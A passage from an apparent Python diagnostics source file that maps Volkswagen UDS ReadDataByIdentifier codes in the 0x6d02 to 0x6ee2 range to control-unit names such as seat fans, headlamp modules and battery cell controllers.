"Rear_climatronic_operating_and_display_unit_System_Name" UDS_RDBI.dataIdentifiers[0x6d02] = "Refrigerant_expansion_valve_1_System_Name" UDS_RDBI.dataIdentifiers[0x6d03] = "Refrigerant_expansion_valve_2_System_Name" UDS_RDBI.dataIdentifiers[0x6d04] = "Refrigerant_expansion_valve_3_System_Name" UDS_RDBI.dataIdentifiers[0x6d05] = "Refrigerant_shut_off_valve_1_System_Name" UDS_RDBI.dataIdentifiers[0x6d06] = "Refrigerant_shut_off_valve_2_System_Name" UDS_RDBI.dataIdentifiers[0x6d07] = "Refrigerant_shut_off_valve_3_System_Name" UDS_RDBI.dataIdentifiers[0x6d08] = "Refrigerant_shut_off_valve_4_System_Name" UDS_RDBI.dataIdentifiers[0x6d09] = "Refrigerant_shut_off_valve_5_System_Name" UDS_RDBI.dataIdentifiers[0x6d0a] = "Sunlight_sensor_System_Name" UDS_RDBI.dataIdentifiers[0x6d0b] = "Near_field_communication_control_module_2_System_Name" UDS_RDBI.dataIdentifiers[0x6d0c] = "Clutch_control_unit_System_Name" UDS_RDBI.dataIdentifiers[0x6d0d] = "Electrical_charger_System_Name" UDS_RDBI.dataIdentifiers[0x6d0e] = "Rear_light_left_2_System_Name" UDS_RDBI.dataIdentifiers[0x6d0f] = "Rear_light_right_1_System_Name" UDS_RDBI.dataIdentifiers[0x6d10] = "Rear_light_right_2_System_Name" UDS_RDBI.dataIdentifiers[0x6d11] = "Sunlight_sensor_2_System_Name" UDS_RDBI.dataIdentifiers[0x6d12] = "Radiator_shutter_System_Name" UDS_RDBI.dataIdentifiers[0x6d13] = "Radiator_shutter_2_System_Name" UDS_RDBI.dataIdentifiers[0x6d14] = "Radiator_shutter_3_System_Name" UDS_RDBI.dataIdentifiers[0x6d15] = "Radiator_shutter_4_System_Name" UDS_RDBI.dataIdentifiers[0x6d18] = "Special_key_operating_unit_System_Name" UDS_RDBI.dataIdentifiers[0x6d19] = "Radio_interface_System_Name" UDS_RDBI.dataIdentifiers[0x6d1a] = "Video_self_protection_recorder_System_Name" UDS_RDBI.dataIdentifiers[0x6d1b] = "Special_vehicle_assist_interface_System_Name" UDS_RDBI.dataIdentifiers[0x6d1c] = "Electric_system_disconnection_diode_System_Name" UDS_RDBI.dataIdentifiers[0x6d1d] = "Cradle_rear_climatronic_operating_and_display_unit_2_System_Name" UDS_RDBI.dataIdentifiers[0x6d1e] = "Belt_pretensioner_2nd_row_left_System_Name" UDS_RDBI.dataIdentifiers[0x6d1f] = "Belt_pretensioner_2nd_row_right_System_Name" UDS_RDBI.dataIdentifiers[0x6d20] = "Electrical_variable_camshaft_phasing_1_System_Name" UDS_RDBI.dataIdentifiers[0x6d21] = "Electrical_variable_camshaft_phasing_2_System_Name" UDS_RDBI.dataIdentifiers[0x6d22] = "Wireless_operating_unit_1_System_Name" UDS_RDBI.dataIdentifiers[0x6d23] = "Wireless_operating_unit_2_System_Name" UDS_RDBI.dataIdentifiers[0x6d24] = "Front_windshield_washer_pump_System_Name" UDS_RDBI.dataIdentifiers[0x6d25] = "Air_quality_sensor_2_System_Name" UDS_RDBI.dataIdentifiers[0x6d26] = "Fragrancing_system_System_Name" UDS_RDBI.dataIdentifiers[0x6d27] = "Coolant_valve_System_Name" UDS_RDBI.dataIdentifiers[0x6d28] = "Near_field_communication_control_module_3_System_Name" UDS_RDBI.dataIdentifiers[0x6d29] = "Interior_monitoring_rear_System_Name" UDS_RDBI.dataIdentifiers[0x6d2a] = "Cooler_fan_1_System_Name" UDS_RDBI.dataIdentifiers[0x6d2b] = "Control_unit_heating_1_System_Name" UDS_RDBI.dataIdentifiers[0x6d2c] = "Control_unit_heating_2_System_Name" UDS_RDBI.dataIdentifiers[0x6d2d] = "Control_unit_heating_3_System_Name" UDS_RDBI.dataIdentifiers[0x6d2e] = "Control_unit_heating_4_System_Name" UDS_RDBI.dataIdentifiers[0x6d2f] = "Operating_unit_drive_mode_selection_System_Name" UDS_RDBI.dataIdentifiers[0x6d30] = "Side_sensor_a-pillar_driver_front_System_Name" UDS_RDBI.dataIdentifiers[0x6d31] = "Side_sensor_a-pillar_passenger_front_System_Name" UDS_RDBI.dataIdentifiers[0x6d32] = "Sensor_high_voltage_system_1_System_Name" UDS_RDBI.dataIdentifiers[0x6d33] = "Side_sensor_b-pillar_driver_front_System_Name" UDS_RDBI.dataIdentifiers[0x6d34] = "Side_sensor_b-pillar_passenger_front_System_Name" UDS_RDBI.dataIdentifiers[0x6d35] = "Multi_function_steering_wheel_control_module_2_System_Name" UDS_RDBI.dataIdentifiers[0x6d36] = "Gear_selection_display_System_Name" UDS_RDBI.dataIdentifiers[0x6d37] = "Cooler_fan_2_System_Name" UDS_RDBI.dataIdentifiers[0x6d38] = "Gear_selector_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x6d39] = "Interior_light_module_2_System_Name" UDS_RDBI.dataIdentifiers[0x6d3a] = "Radio_control_center_System_Name" UDS_RDBI.dataIdentifiers[0x6d3b] = "Multimedia_extension_System_Name" UDS_RDBI.dataIdentifiers[0x6d3c] = "Control_unit_differential_lock_System_Name" UDS_RDBI.dataIdentifiers[0x6d3d] = "Control_unit_ride_control_system_System_Name" UDS_RDBI.dataIdentifiers[0x6d3e] = "Control_unit_hands_on_detection_steering_wheel_System_Name" UDS_RDBI.dataIdentifiers[0x6d3f] = "Front_climatronic_operating_and_display_unit_System_Name" UDS_RDBI.dataIdentifiers[0x6d40] = "Auxiliary_display_unit_System_Name" UDS_RDBI.dataIdentifiers[0x6d41] = "Card_reader_tv_tuner_System_Name" UDS_RDBI.dataIdentifiers[0x6d42] = "Park_lock_actuator_System_Name" UDS_RDBI.dataIdentifiers[0x6d43] = "Media_connector_System_Name" UDS_RDBI.dataIdentifiers[0x6d44] = "Catalyst_heating_System_Name" UDS_RDBI.dataIdentifiers[0x6e01] = "Control_unit_for_wiper_motor_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e02] = "Rain_light_recognition_sensor_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e03] = "Light_switch_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e04] = "Garage_door_opener_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e05] = "Garage_door_opener_operating_unit_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e06] = "Ignition_key_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e07] = "Left_front_seat_ventilation_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e08] = "Right_front_seat_ventilation_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e09] = "Left_rear_seat_ventilation_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e0a] = "LED_headlamp_powermodule_left_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e0b] = "LED_headlamp_powermodule_right_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e0c] = "LED_headlamp_powermodule_2_left_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e0d] = "LED_headlamp_powermodule_2_right_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e0e] = "Operating_and_display_unit_1_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e0f] = "Operating_and_display_unit_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e10] = "Right_rear_seat_ventilation_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e11] = "Data_medium_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e12] = "Drivers_door_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e13] = "Front_passengers_door_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e14] = "Left_headlamp_power_output_stage_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e15] = "Right_headlamp_power_output_stage_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e16] = "Sensor_for_anti_theft_alarm_system_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e17] = "Rear_lid_control_module_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e18] = "Alarm_horn_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e19] = "Automatic_day_night_interior_mirror_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e1a] = "Remote_control_auxiliary_heater_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e1b] = "Fresh_air_blower_front_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e1c] = "Fresh_air_blower_back_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e1d] = "Alternator_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e1e] = "Interior_light_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e1f] = "Refrigerant_pressure_and_temperature_sender_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e20] = "Sun_roof_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e21] = "Steering_column_lock_actuator_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e22] = "Anti_theft_tilt_system_control_unit_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e23] = "Tire_pressure_monitor_antenna_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e24] = "Heated_windshield_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e25] = "Rear_light_left_1_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e26] = "Ceiling_light_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e27] = "Left_front_massage_seat_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e28] = "Right_front_massage_seat_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e29] = "Control_module_for_auxiliary_air_heater_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e2a] = "Belt Pretensioner left_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e2b] = "Belt Pretensioner right_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e2c] = "Occupant Detection_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e2d] = "Selector_lever_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e2e] = "NOx_sensor_1_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e2f] = "NOx_sensor_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e30] = "Ioniser_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e31] = "Multi_function_steering_wheel_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e32] = "Left_rear_door_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e33] = "Right_rear_door_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e34] = "Left_rear_massage_seat_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e35] = "Right_rear_massage_seat_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e36] = "Display_unit_1_for_multimedia_system_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e37] = "Battery_monitoring_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e38] = "Roof_blind_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e39] = "Sun_roof_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e3a] = "Steering_angle_sender_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e3b] = "Lane_change_assistant 2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e3c] = "Pitch_rate_sender_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e3d] = "ESP_sensor_unit_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e3e] = "Electronic_ignition_lock_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e3f] = "Air_quality_sensor_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e40] = "Display_unit_2_for_multimedia_system_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e41] = "Telephone_handset_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e42] = "Chip_card_reader_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e43] = "Traffic_data_aerial_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e44] = "Hands_free_system_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e45] = "Telephone_handset_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e46] = "Display_unit_front_for_multimedia_system_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e47] = "Multimedia_operating_unit_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e48] = "Digital_sound_system_control_module_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e49] = "Electrically_adjustable_steering_column_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e4a] = "Interface_for_external_multimedia_unit_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e4b] = "Relative_Air_Humidity_Interior_Sender_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e4c] = "Drivers_door_rear_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e4d] = "Passengers_rear_door_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e4e] = "Sensor_controlled_power_rear_lid_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e4f] = "Camera_for_night_vision_system_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e50] = "Relative_humidity_sensor_in_fresh_air_intake_duct_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e51] = "Rear_spoiler_adjustment_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e52] = "Roof_blind_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e53] = "Motor_for_wind_deflector_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e54] = "Voltage_stabilizer_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e55] = "Switch_module_for_driver_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e56] = "Switch_module_for_front_passenger_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e57] = "Switch_module_for_rear_seat_driver_side_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e58] = "Switch_module_for_rear_seat_front_passenger_side_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e59] = "Switch_module_2_for_driver_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e5a] = "Battery_charger_unit_1_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e5b] = "Battery_charger_unit_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e5c] = "Battery_charger_unit_3_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e5d] = "Air_conditioning_compressor_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e5e] = "Neck_heating_left_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e5f] = "Neck_heating_right_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e60] = "Switch_module_2_for_front_passenger_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e61] = "Switch_module_2_for_rear_seat_front_passenger_side_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e62] = "Compact_disc_database_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e63] = "Rear_climatronic_operating_and_display_unit_left_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e64] = "Rear_climatronic_operating_and_display_unit_right_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e65] = "Door_handle_front_left_Kessy_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e66] = "Door_handle_front_right_Kessy_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e67] = "Door_handle_rear_left_Kessy_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e68] = "Door_handle_rear_right_Kessy_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e69] = "Power_converter_DC_AC_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e6a] = "Battery_monitoring_control_module_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e6b] = "Matrix_headlamp_powermodule_1_left_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e6c] = "Matrix_headlamp_powermodule_1_right_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e6d] = "High_beam_powermodule_left_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e6e] = "High_beam_powermodule_right_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e6f] = "Air_suspension_compressor_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e70] = "Rear_brake_actuator_1_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e71] = "Rear_brake_actuator_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e72] = "Analog_clock_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e73] = "Rear_door_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e79] = "Data_medium_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e7a] = "Operating_unit_center_console_1_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e7b] = "Operating_unit_center_console_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e7c] = "Operating_unit_center_console_3_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e7d] = "Operating_unit_center_console_4_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e7e] = "Interface_for_radiodisplay_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e7f] = "Parkassist_entry_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e86] = "Belt_pretensioner_3rd_row_left_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e87] = "Belt_pretensioner_3rd_row_right_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e88] = "Injection_valve_heater_control_unit_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e89] = "Steering_column_switch_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e8a] = "Brake_assistance_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e8b] = "Trailer_articulation_angle_sensor_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e8c] = "Cup_holder_with_heater_and_cooling_element_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e8d] = "Range_of_vision_sensing_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e8e] = "Convenience_and_driver_assist_operating_unit_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e8f] = "Cradle_rear_climatronic_operating_and_display_unit_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e90] = "Trailer_weight_nose_weight_detection_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e91] = "Sensor_carbon_dioxide_concentration_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e92] = "Sensor_fine_dust_concentration_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e93] = "Volume_control_1_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e94] = "Belt_buckle_presenter_2nd_row_left_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e95] = "Belt_buckle_presenter_2nd_row_right_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e96] = "Operating_and_display_unit_6_for_air_conditioning_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e97] = "Active_accelerator_pedal_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e98] = "Multimedia_operating_unit_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e99] = "Display_unit_3_for_multimedia_system_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e9a] = "Display_unit_4_for_multimedia_system_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e9b] = "Display_unit_5_for_multimedia_system_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e9c] = "Control_module_for_auxiliary_blower_motors_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e9d] = "Operating_and_display_unit_3_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e9e] = "Operating_and_display_unit_4_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6e9f] = "Operating_and_display_unit_5_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ea0] = "Side Sensor Driver Front_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ea1] = "Side Sensor Passenger Front_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ea2] = "Side Sensor Driver Rear_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ea3] = "Side Sensor Passenger Rear_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ea4] = "Front Sensor Driver_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ea5] = "Front Sensor Passenger_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ea6] = "Pedestrian Protection Driver_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ea7] = "Pedestrian Protection Passenger_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ea8] = "Rear Sensor Center_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ea9] = "Pedestrian Protection Center_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eaa] = "Pedestrian Protection Contact_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eab] = "Pedestrian_protection_driver_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eac] = "Pedestrian_protection_passenger_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ead] = "Central_sensor_XY_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eae] = "Refrigerant_pressure_and_temperature_sender_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eaf] = "Refrigerant_pressure_and_temperature_sender_3_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eb0] = "Switch_for_rear_multicontour_seat_driver_side_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eb1] = "Valve_block_1_in_driver_side_rear_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eb2] = "Valve_block_2_in_driver_side_rear_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eb3] = "Valve_block_3_in_driver_side_rear_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eb4] = "Switch_for_rear_multicontour_seat_passenger_side_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eb5] = "Valve_block_1_in_passenger_side_rear_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eb6] = "Valve_block_2_in_passenger_side_rear_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eb7] = "Valve_block_3_in_passenger_side_rear_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eb8] = "Switch_for_front_multicontour_seat_driver_side_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eb9] = "Valve_block_1_in_driver_side_front_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eba] = "Valve_block_2_in_driver_side_front_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ebb] = "Valve_block_3_in_driver_side_front_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ebc] = "Switch_for_front_multicontour_seat_passenger_side_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ebd] = "Valve_block_1_in_passenger_side_front_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ebe] = "Valve_block_2_in_passenger_side_front_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ebf] = "Valve_block_3_in_passenger_side_front_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ec0] = "Coolant_heater_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ec1] = "Seat_backrest_fan_1_front_left_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ec2] = "Seat_backrest_fan_2_front_left_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ec3] = "Seat_cushion_fan_1_front_left_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ec4] = "Seat_cushion_fan_2_front_left_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ec5] = "Seat_backrest_fan_1_front_right_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ec6] = "Seat_backrest_fan_2_front_right_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ec7] = "Seat_cushion_fan_1_front_right_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ec8] = "Seat_cushion_fan_2_front_right_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ec9] = "Operating_and_display_unit_1_for_air_conditioning_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eca] = "Operating_and_display_unit_2_for_air_conditioning_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ecb] = "Operating_and_display_unit_3_for_air_conditioning_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ecc] = "Operating_and_display_unit_4_for_air_conditioning_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ecd] = "Operating_and_display_unit_5_for_air_conditioning_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ece] = "Pedestrian_protection_left_hand_side_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ecf] = "Pedestrian_protection_right_hand_side_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ed0] = "Battery_junction_box_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ed1] = "Cell_module_controller_1_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ed2] = "Cell_module_controller_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ed3] = "Cell_module_controller_3_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ed4] = "Cell_module_controller_4_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ed5] = "Cell_module_controller_5_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ed6] = "Cell_module_controller_6_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ed7] = "Cell_module_controller_7_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ed8] = "Cell_module_controller_8_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ed9] = "Cell_module_controller_9_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eda] = "Cell_module_controller_10_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6edb] = "Cell_module_controller_11_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6edc] = "Cell_module_controller_12_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6edd] = "Seat_backrest_fan_1_rear_left_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ede] = "Seat_backrest_fan_2_rear_left_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6edf] = "Seat_cushion_fan_1_rear_left_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ee0] = "Seat_cushion_fan_2_rear_left_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ee1] = "Seat_backrest_fan_1_rear_right_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ee2] = "Seat_backrest_fan_2_rear_right_VW_Slave_FAZIT_string" 